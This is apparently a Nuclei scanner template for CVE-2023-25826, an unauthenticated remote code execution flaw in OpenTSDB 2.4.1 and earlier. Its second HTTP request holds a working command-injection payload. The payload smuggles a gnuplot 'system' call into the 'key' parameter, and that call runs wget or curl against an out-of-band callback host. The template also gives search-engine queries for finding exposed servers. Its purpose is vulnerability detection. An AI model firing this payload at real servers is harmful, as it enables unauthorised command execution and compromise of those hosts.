OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.
PoC
id: CVE-2023-25826
info:
name: OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection
author: aryu-ru
severity: critical
description: |
OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.
impact: |
Attackers can execute arbitrary OS commands on the host system, potentially leading to full system compromise.
remediation: |
Implement comprehensive input validation and update to the latest version that addresses this issue.
reference:
- https://github.com/OpenTSDB/opentsdb/pull/2275
- https://github.com/vulhub/vulhub/blob/master/opentsdb/CVE-2023-25826/README.md
- http://packetstormsecurity.com/files/174570/OpenTSDB-2.4.1-Unauthenticated-Command-Injection.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-25826
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-25826
epss-score: 0.42765
epss-percentile: 0.98644
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: opentsdb
product: opentsdb
shodan-query: http.favicon.hash:407286339
fofa-query: title="OpenTSDB"
tags: cve,cve2023,opentsdb,rce,oast,unauth,packetstorm
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/suggest?type=metrics&q=&max=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
- contains(body, "[\"")
- '!contains(body, "<html")'
condition: and
internal: true
extractors:
- type: regex
name: metric
part: body
group: 1
regex:
- '^\["([^"]+)"'
internal: true
- raw:
- |
GET /q?start=1h-ago&m=sum:{{metric}}&key=out%20right%20top%0asystem%20%22wget%20-q%20-T%205%20-O%20/dev/null%20http://{{interactsh-url}}%20%7C%7C%20curl%20-sk%20--max-time%205%20http://{{interactsh-url}}%22&json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_any(interactsh_protocol, "http", "dns")
- contains_all(body, "plotted", "points", "etags")
- status_code == 200
condition: and
# digest: 490a0046304402204d374e944c3764fc0bd7a26419f8dd0cf73a92d7e5b027d32ff38a555e1b6f87022007c5d7a7b3872a4f544fe71d1a9f439111fc2e0231690a44590b60592d5f5986:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.